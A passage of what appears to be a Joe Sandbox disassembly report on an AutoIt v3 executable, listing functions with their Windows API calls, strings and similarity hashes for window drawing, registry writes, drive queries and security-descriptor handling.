CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000), ref: 00EC2D62
GetFileSize.KERNEL32(00000000,00000000), ref: 00EC2D75
GlobalAlloc.KERNEL32 ref: 00EC2D80
GlobalLock.KERNEL32 ref: 00EC2D89
ReadFile.KERNEL32 ref: 00EC2D98
GlobalUnlock.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00EC2DA1
CloseHandle.KERNEL32(00000000), ref: 00EC2DA8
GlobalFree.KERNEL32 ref: 00EC2DB3
CreateStreamOnHGlobal.OLE32(00000000,00000001,?), ref: 00EC2DC5
OleLoadPicture.OLEAUT32 ref: 00EC2DDB
GlobalFree.KERNEL32 ref: 00EC2DEB
CopyImage.USER32 ref: 00EC2E11
SendMessageW.USER32(00000000,00000172,00000000,00000007), ref: 00EC2E30
SetWindowPos.USER32(00000000,00000000,00000000,00000000,?,?,00000020), ref: 00EC2E52
ShowWindow.USER32(00000004), ref: 00EC303F

Strings

static, xrefs: 00EC2D3A, 00EC2E91
, xrefs: 00EC2FC5
AutoIt v3, xrefs: 00EC2CF2
DISPLAY, xrefs: 00EC2EA2

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
String ID: $AutoIt v3$DISPLAY$static
API String ID: 2211948467-2373415609
Opcode ID: 30f87ed827aeecfe911223f58ce8a4b71d1e09d8ef01470de223ace09725f984
Instruction ID: 827ee94c17b2a395d80f7bb784f8655bdf822858598a4407694c863e6c25240c
Opcode Fuzzy Hash: 30f87ed827aeecfe911223f58ce8a4b71d1e09d8ef01470de223ace09725f984
Instruction Fuzzy Hash: 1F028871A00219AFDB14CF65DD89EAEBBB9EB48750F10811DF915BB2A0CB35ED05CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00ED70D5 Relevance: 49.8, APIs: 33, Instructions: 273COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 00ED712F
GetSysColorBrush.USER32 ref: 00ED7160
GetSysColor.USER32 ref: 00ED716C
SetBkColor.GDI32(?,000000FF), ref: 00ED7186
SelectObject.GDI32 ref: 00ED7195
InflateRect.USER32 ref: 00ED71C0
GetSysColor.USER32 ref: 00ED71C8
CreateSolidBrush.GDI32 ref: 00ED71CF
FrameRect.USER32 ref: 00ED71DE
DeleteObject.GDI32(00000000), ref: 00ED71E5
InflateRect.USER32 ref: 00ED7230
FillRect.USER32 ref: 00ED7262
GetWindowLongW.USER32(?,000000F0), ref: 00ED7284

Part of subcall function 00ED73E8: GetSysColor.USER32 ref: 00ED7421
Part of subcall function 00ED73E8: SetTextColor.GDI32(?,?), ref: 00ED7425
Part of subcall function 00ED73E8: GetSysColorBrush.USER32 ref: 00ED743B
Part of subcall function 00ED73E8: GetSysColor.USER32 ref: 00ED7446
Part of subcall function 00ED73E8: GetSysColor.USER32 ref: 00ED7463
Part of subcall function 00ED73E8: CreatePen.GDI32 ref: 00ED7471
Part of subcall function 00ED73E8: SelectObject.GDI32 ref: 00ED7482
Part of subcall function 00ED73E8: SetBkColor.GDI32(?,00000000), ref: 00ED748B
Part of subcall function 00ED73E8: SelectObject.GDI32 ref: 00ED7498
Part of subcall function 00ED73E8: InflateRect.USER32 ref: 00ED74B7
Part of subcall function 00ED73E8: RoundRect.GDI32 ref: 00ED74CE
Part of subcall function 00ED73E8: GetWindowLongW.USER32(00000000,000000F0), ref: 00ED74DB

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameRoundSolid
String ID:
API String ID: 4124339563-0
Opcode ID: 7420cef9bceaed94e70f5bd4586fa358069e5126eac33589b3bfafde1bf2284a
Instruction ID: c9843158cc381d81fb8e6334725b3db8d135ca083aede7d5ba52e481a272b33c
Opcode Fuzzy Hash: 7420cef9bceaed94e70f5bd4586fa358069e5126eac33589b3bfafde1bf2284a
Instruction Fuzzy Hash: 4BA1B67100A312AFDB009F61EC48E5BB7A9FF49364F201B1AF9A2B61E1D731D949CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00E58D85 Relevance: 47.7, APIs: 26, Strings: 1, Instructions: 480windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32 ref: 00E58E14
SendMessageW.USER32(?,00001308,?,00000000), ref: 00E96AC5
ImageList_Remove.COMCTL32(?,000000FF,?), ref: 00E96AFE
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 00E96F43

Part of subcall function 00E58F62: InvalidateRect.USER32(?,00000000,00000001), ref: 00E58FC5

SendMessageW.USER32(?,00001053), ref: 00E96F7F
SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 00E96F96
ImageList_Destroy.COMCTL32(00000000,?), ref: 00E96FAC
ImageList_Destroy.COMCTL32(00000000,?), ref: 00E96FB7

Strings

0, xrefs: 00E96DCF

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: DestroyImageList_MessageSend$Window$InvalidateMoveRectRemove
String ID: 0
API String ID: 2760611726-4108050209
Opcode ID: 6c8cb1f6cb4c5175acbf6c2fe1a67ffe81d6365db8f0ab4d8ce9395852b4b5d8
Instruction ID: c343cd5c512723a429fc8696b2de08031cfb253d03dade884c5bf1002dad8b69
Opcode Fuzzy Hash: 6c8cb1f6cb4c5175acbf6c2fe1a67ffe81d6365db8f0ab4d8ce9395852b4b5d8
Instruction Fuzzy Hash: 2B12EC30201201EFDB25CF24D985BAAB7F1FB44305F64A42AF995BB261CB31EC56DB91

Uniqueness

Uniqueness Score: -1.00%

Function 00EC2711 Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 330windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32 ref: 00EC273E
SystemParametersInfoW.USER32 ref: 00EC286A
SetRect.USER32 ref: 00EC28A9
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000008), ref: 00EC28B9
CreateWindowExW.USER32 ref: 00EC2900
GetClientRect.USER32 ref: 00EC290C
CreateWindowExW.USER32 ref: 00EC2955
CreateDCW.GDI32 ref: 00EC2964
GetStockObject.GDI32 ref: 00EC2974
SelectObject.GDI32 ref: 00EC2978
GetTextFaceW.GDI32 ref: 00EC2988
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00EC2991
DeleteDC.GDI32 ref: 00EC299A
CreateFontW.GDI32 ref: 00EC29C6
SendMessageW.USER32(00000030,00000000,00000001), ref: 00EC29DD
CreateWindowExW.USER32 ref: 00EC2A1D
SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 00EC2A31
SendMessageW.USER32(00000404,00000001,00000000), ref: 00EC2A42
CreateWindowExW.USER32 ref: 00EC2A77
GetStockObject.GDI32 ref: 00EC2A82
SendMessageW.USER32(00000030,00000000,?,50000000), ref: 00EC2A8D
ShowWindow.USER32(00000004), ref: 00EC2A97

Strings

static, xrefs: 00EC294F, 00EC2A71
msctls_progress32, xrefs: 00EC2A13
AutoIt v3, xrefs: 00EC28F8
DISPLAY, xrefs: 00EC295A

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-517079104
Opcode ID: 622af39e8d8297870e511d33b3c4cca8ccd49367dd94bed867a907842baaa71f
Instruction ID: 4a030619d16aba4dbd159d14c1a026e0f3e2e57f5f9ca204d2b43cbb28306a59
Opcode Fuzzy Hash: 622af39e8d8297870e511d33b3c4cca8ccd49367dd94bed867a907842baaa71f
Instruction Fuzzy Hash: DAB15D71A00219AFEB14DF69DD85FAEBBA9FB48710F108519FA14EB290D774ED01CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00EB4ADF Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 191COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00EB4AED
GetDriveTypeW.KERNEL32 ref: 00EB4BCA
SetErrorMode.KERNEL32(00000000), ref: 00EB4D36

Strings

Fixed, xrefs: 00EB4C09
ATA, xrefs: 00EB4C98
\\.\, xrefs: 00EB4B3F
SATA, xrefs: 00EB4CD0
MMC, xrefs: 00EB4CDE
Network, xrefs: 00EB4C02
FileBackedVirtual, xrefs: 00EB4CEC
Virtual, xrefs: 00EB4CE5
iSCSI, xrefs: 00EB4CC2
1394, xrefs: 00EB4C9F
SSD, xrefs: 00EB4C4A
RAID, xrefs: 00EB4CBB
SSA, xrefs: 00EB4CA6
SAS, xrefs: 00EB4CC9
Removable, xrefs: 00EB4C10, 00EB4C15
ATAPI, xrefs: 00EB4C91
PhysicalDrive, xrefs: 00EB4B76
Fibre, xrefs: 00EB4CAD
SCSI, xrefs: 00EB4C8A
USB, xrefs: 00EB4CB4
Unknown, xrefs: 00EB4BED, 00EB4C83
CDROM, xrefs: 00EB4BFB
RAMDisk, xrefs: 00EB4BF4

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: fac8c8204e0fe19e7a885f1839b95069b2ffad6c234be0cc1afa3d67f160cc3b
Instruction ID: 697f2f391c1b6108d36f96d29e07087026614b21abfa2262b266196be4a2461e
Opcode Fuzzy Hash: fac8c8204e0fe19e7a885f1839b95069b2ffad6c234be0cc1afa3d67f160cc3b
Instruction Fuzzy Hash: 5961C4B16061069BDB04DF14CA81AFABBA0AB44B44B20A415F846FB6D3DB35ED45FF42

Uniqueness

Uniqueness Score: -1.00%

Function 00ED73E8 Relevance: 39.2, APIs: 26, Instructions: 201windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32 ref: 00ED7421
SetTextColor.GDI32(?,?), ref: 00ED7425
GetSysColorBrush.USER32 ref: 00ED743B
GetSysColor.USER32 ref: 00ED7446
CreateSolidBrush.GDI32 ref: 00ED744B
GetSysColor.USER32 ref: 00ED7463
CreatePen.GDI32 ref: 00ED7471
SelectObject.GDI32 ref: 00ED7482
SetBkColor.GDI32(?,00000000), ref: 00ED748B
SelectObject.GDI32 ref: 00ED7498
InflateRect.USER32 ref: 00ED74B7
RoundRect.GDI32 ref: 00ED74CE
GetWindowLongW.USER32(00000000,000000F0), ref: 00ED74DB
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00ED752A
GetWindowTextW.USER32 ref: 00ED7554
InflateRect.USER32 ref: 00ED7572
DrawFocusRect.USER32 ref: 00ED757D
GetSysColor.USER32 ref: 00ED758E
SetTextColor.GDI32(?,00000000), ref: 00ED7596
DrawTextW.USER32(?,00ED70F5,000000FF,?,00000000), ref: 00ED75A8
SelectObject.GDI32 ref: 00ED75BF
DeleteObject.GDI32(?), ref: 00ED75CA
SelectObject.GDI32 ref: 00ED75D0
DeleteObject.GDI32(?), ref: 00ED75D5
SetTextColor.GDI32(?,?), ref: 00ED75DB
SetBkColor.GDI32(?,?), ref: 00ED75E5

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: 8eda192c776775b5ffa6926f5397aeb64a781738215cf8a5e97db992684023b9
Instruction ID: 7b3e91065f736fb192d551bc820d4e2502216e8e63f0c4017f3366ea38885848
Opcode Fuzzy Hash: 8eda192c776775b5ffa6926f5397aeb64a781738215cf8a5e97db992684023b9
Instruction Fuzzy Hash: 05617E72901219AFDF019FA5EC49EEEBFB9EB08360F204116F915BB2A1D7709941CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00ED0FF3 Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 284windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00ED1128
GetDesktopWindow.USER32 ref: 00ED113D
GetWindowRect.USER32(00000000), ref: 00ED1144
GetWindowLongW.USER32(?,000000F0), ref: 00ED1199
DestroyWindow.USER32 ref: 00ED11B9
CreateWindowExW.USER32 ref: 00ED11ED
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00ED120B
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00ED121D
SendMessageW.USER32(00000000,00000421,?,?), ref: 00ED1232
SendMessageW.USER32(00000000,0000041D,00000000,00000000), ref: 00ED1245
IsWindowVisible.USER32(00000000), ref: 00ED12A1
SendMessageW.USER32(00000000,00000412,00000000,D8F0D8F0), ref: 00ED12BC
SendMessageW.USER32(00000000,00000411,00000001,00000030), ref: 00ED12D0
GetWindowRect.USER32(00000000,?), ref: 00ED12E8
MonitorFromPoint.USER32(?,?,00000002), ref: 00ED130E
GetMonitorInfoW.USER32(00000000,?), ref: 00ED1328
CopyRect.USER32(?,?), ref: 00ED133F
SendMessageW.USER32(00000000,00000412,00000000), ref: 00ED13AA

Strings

(, xrefs: 00ED131B
tooltips_class32, xrefs: 00ED11E6
0, xrefs: 00ED10D3

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: 77575c93e99b111f8decd8eba502c17c7378c6b4bc3189c95f24cfa1fa4e4881
Instruction ID: da723d3c6420e06c84cacd83655ebf8bbdd0553d6d8445937e901d0932896e4e
Opcode Fuzzy Hash: 77575c93e99b111f8decd8eba502c17c7378c6b4bc3189c95f24cfa1fa4e4881
Instruction Fuzzy Hash: DDB19C71608341AFD700DF65D884B6BFBE4FF88744F00995AF999AB2A1C731E845CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00ED0241 Relevance: 35.4, APIs: 7, Strings: 13, Instructions: 391windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00ED02E5
_wcslen.LIBCMT ref: 00ED031F
_wcslen.LIBCMT ref: 00ED0389
_wcslen.LIBCMT ref: 00ED03F1
_wcslen.LIBCMT ref: 00ED0475
SendMessageW.USER32(?,00001032,00000000,00000000), ref: 00ED04C5
SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00ED0504

Part of subcall function 00E5F9F2: _wcslen.LIBCMT ref: 00E5F9FD

Part of subcall function 00EA223F: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00EA2258
Part of subcall function 00EA223F: SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00EA228A

Strings

ISSELECTED, xrefs: 00ED04DD
VIEWCHANGE, xrefs: 00ED0675
GETSUBITEMCOUNT, xrefs: 00ED0384, 00ED039F
SELECT, xrefs: 00ED0548
GETSELECTEDCOUNT, xrefs: 00ED0470, 00ED048B
SELECTCLEAR, xrefs: 00ED052D
SELECTALL, xrefs: 00ED0515
FINDITEM, xrefs: 00ED0627
SELECTINVERT, xrefs: 00ED057E
DESELECT, xrefs: 00ED059C
GETSELECTED, xrefs: 00ED05E1
GETITEMCOUNT, xrefs: 00ED0316, 00ED0337
GETTEXT, xrefs: 00ED03EC, 00ED0407

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: _wcslen$MessageSend$BuffCharUpper
String ID: DESELECT$FINDITEM$GETITEMCOUNT$GETSELECTED$GETSELECTEDCOUNT$GETSUBITEMCOUNT$GETTEXT$ISSELECTED$SELECT$SELECTALL$SELECTCLEAR$SELECTINVERT$VIEWCHANGE
API String ID: 1103490817-719923060
Opcode ID: bdca0238a45da6816cd0491265ba1604588ca77f9db37f757a7e22866955f290
Instruction ID: 11168c712190625e69fcf231d30ba7ef5f8517f35ee2cd04e13d4ed4f131ad81
Opcode Fuzzy Hash: bdca0238a45da6816cd0491265ba1604588ca77f9db37f757a7e22866955f290
Instruction Fuzzy Hash: A6E19D316082018BC714DF24D550A6AB3E6FFC8318F18695EF896BB7A2DB30ED46DB51

Uniqueness

Uniqueness Score: -1.00%

Function 00E58891 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 282windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32 ref: 00E58968
GetSystemMetrics.USER32 ref: 00E58970
SystemParametersInfoW.USER32 ref: 00E5899B
GetSystemMetrics.USER32 ref: 00E589A3
GetSystemMetrics.USER32 ref: 00E589C8
SetRect.USER32 ref: 00E589E5
AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 00E589F5
CreateWindowExW.USER32 ref: 00E58A28
SetWindowLongW.USER32 ref: 00E58A3C
GetClientRect.USER32 ref: 00E58A5A
GetStockObject.GDI32 ref: 00E58A76
SendMessageW.USER32(00000000,00000030,00000000), ref: 00E58A81

Part of subcall function 00E5912D: GetCursorPos.USER32(?), ref: 00E59141
Part of subcall function 00E5912D: ScreenToClient.USER32(00000000,?), ref: 00E5915E
Part of subcall function 00E5912D: GetAsyncKeyState.USER32 ref: 00E59183
Part of subcall function 00E5912D: GetAsyncKeyState.USER32 ref: 00E5919D

SetTimer.USER32(00000000,00000000,00000028,00E590FC), ref: 00E58AA8

Strings

AutoIt v3 GUI, xrefs: 00E58A20

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: 946b04e1571a1c5811f008c24649b27daea8bc641e72b9adfd3104164745c8f0
Instruction ID: 73f8f8ee1e6f29df2936b7f1b377a37e27838e6dc3b269f5826552ca37b6aa5a
Opcode Fuzzy Hash: 946b04e1571a1c5811f008c24649b27daea8bc641e72b9adfd3104164745c8f0
Instruction Fuzzy Hash: 5FB17831A0020A9FDF14DFA8D945BEA3BB5FB48355F11962AFA15BB290DB30E845CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00EA0D8B Relevance: 31.7, APIs: 21, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00EA10F9: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00EA1114
Part of subcall function 00EA10F9: GetLastError.KERNEL32 ref: 00EA1120
Part of subcall function 00EA10F9: GetProcessHeap.KERNEL32 ref: 00EA112F
Part of subcall function 00EA10F9: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00EA0B9B,?,?,?), ref: 00EA1136
Part of subcall function 00EA10F9: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00EA114D

GetSecurityDescriptorDacl.ADVAPI32 ref: 00EA0DF5
GetAclInformation.ADVAPI32 ref: 00EA0E29
GetLengthSid.ADVAPI32(?), ref: 00EA0E40
GetAce.ADVAPI32 ref: 00EA0E7A
AddAce.ADVAPI32 ref: 00EA0E96
GetLengthSid.ADVAPI32(?), ref: 00EA0EAD
GetProcessHeap.KERNEL32 ref: 00EA0EB5
HeapAlloc.KERNEL32(00000000), ref: 00EA0EBC
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00EA0EDD
CopySid.ADVAPI32 ref: 00EA0EE4
AddAce.ADVAPI32 ref: 00EA0F13
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00EA0F35
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00EA0F47
GetProcessHeap.KERNEL32 ref: 00EA0F6E
HeapFree.KERNEL32(00000000), ref: 00EA0F75
GetProcessHeap.KERNEL32 ref: 00EA0F7E
HeapFree.KERNEL32(00000000), ref: 00EA0F85
GetProcessHeap.KERNEL32 ref: 00EA0F8E
HeapFree.KERNEL32(00000000), ref: 00EA0F95
GetProcessHeap.KERNEL32 ref: 00EA0FA1
HeapFree.KERNEL32(00000000), ref: 00EA0FA8

Part of subcall function 00EA1193: GetProcessHeap.KERNEL32 ref: 00EA11A1
Part of subcall function 00EA1193: HeapAlloc.KERNEL32(00000000,?,00000000,?,00EA0BB1,?), ref: 00EA11A8
Part of subcall function 00EA1193: InitializeSecurityDescriptor.ADVAPI32 ref: 00EA11B7

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Heap$Process$Security$Free$AllocDescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 4175595110-0
Opcode ID: 29a3ac5c173e3f594fb304f76c91bee8de59c3c3314ea47b540e777d058b093a
Instruction ID: 16fbed68407c8c04fae7a95c7b455eb0cf3460c74a471ad37adb8cd05d57456c
Opcode Fuzzy Hash: 29a3ac5c173e3f594fb304f76c91bee8de59c3c3314ea47b540e777d058b093a
Instruction Fuzzy Hash: 8E717F75A0121AEFDF209FA5EC44BAEBBB8FF09345F148116F915BA191D730A905CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00ECC3B7 Relevance: 30.2, APIs: 11, Strings: 6, Instructions: 495registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00ECC4BD
RegCreateKeyExW.ADVAPI32(?,?,00000000,00EDCC08,00000000,?,00000000,?,?), ref: 00ECC544
RegCloseKey.ADVAPI32(00000000), ref: 00ECC5A4
_wcslen.LIBCMT ref: 00ECC5F4
_wcslen.LIBCMT ref: 00ECC66F
RegSetValueExW.ADVAPI32 ref: 00ECC6B2
RegSetValueExW.ADVAPI32 ref: 00ECC7C1
RegSetValueExW.ADVAPI32 ref: 00ECC84D
RegCloseKey.ADVAPI32(?), ref: 00ECC881
RegCloseKey.ADVAPI32(00000000), ref: 00ECC88E
RegSetValueExW.ADVAPI32 ref: 00ECC960

Strings

REG_EXPAND_SZ, xrefs: 00ECC5CD
REG_MULTI_SZ, xrefs: 00ECC6F5
REG_QWORD, xrefs: 00ECC8C3
REG_SZ, xrefs: 00ECC644
REG_BINARY, xrefs: 00ECC913
REG_DWORD, xrefs: 00ECC804

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Value$Close$_wcslen$ConnectCreateRegistry
